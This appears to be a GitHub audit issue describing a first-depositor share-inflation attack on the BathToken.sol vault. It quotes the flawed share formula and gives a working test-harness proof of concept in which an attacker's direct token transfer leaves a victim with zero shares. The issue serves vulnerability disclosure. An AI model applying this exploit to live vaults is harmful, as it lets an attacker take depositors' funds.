The attack vector and impact is the same as TOB-YEARN-003, where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large “donation”.
In BathToken.sol:569-571, the allocation of shares is calculated as follows:
(totalSupply == 0) ? shares = assets : shares = (
assets.mul(totalSupply)
).div(_pool);
An early attacker can exploit this by:
To avoid minting 0 shares, subsequent depositors have to deposit equal to or more than the amount transferred by the attacker. Otherwise, their deposits accrue to the attacker who holds the only share.
it("Victim receives 0 shares", async () => {
// 1. Attacker deposits 1 testCoin first when creating the liquidity pool
const initialLiquidityNew = 1;
const initialLiquidityExistingBathToken = ethers.utils.parseUnits("100", decimals);
// Approve DAI and testCoin for bathHouseInstance
await testCoin.approve(bathHouseInstance.address, initialLiquidityNew, {
from: attacker,
});
await DAIInstance.approve(
bathHouseInstance.address,
initialLiquidityExistingBathToken,
{ from: attacker }
);
// Call open creation function, attacker deposits only 1 testCoin
const desiredPairedAsset = await DAIInstance.address;
await bathHouseInstance.openBathTokenSpawnAndSignal(
await testCoin.address,
initialLiquidityNew,
desiredPairedAsset,
initialLiquidityExistingBathToken,
{ from: attacker }
);
// Retrieve resulting bathToken address
const newbathTokenAddress = await bathHouseInstance.getBathTokenfromAsset(testCoin.address);
const _newBathToken = await BathToken.at(newbathTokenAddress);
// 2. Attacker deposits large amount of testCoin into liquidity pool
let attackerAmt = ethers.utils.parseUnits("1000000", decimals);
await testCoin.approve(newbathTokenAddress, attackerAmt, {from: attacker});
await testCoin.transfer(newbathTokenAddress, attackerAmt, {from: attacker});
// 3. Victim deposits a smaller amount of testCoin, receives 0 shares
// In this case, we use (1 million - 1) testCoin
let victimAmt = ethers.utils.parseUnits("999999", decimals);
await testCoin.approve(newbathTokenAddress, victimAmt, {from: victim});
await _newBathToken.deposit(victimAmt, victim, {from: victim});
assert.equal(await _newBathToken.balanceOf(victim), 0);
});
The text was updated successfully, but these errors were encountered:
All reactions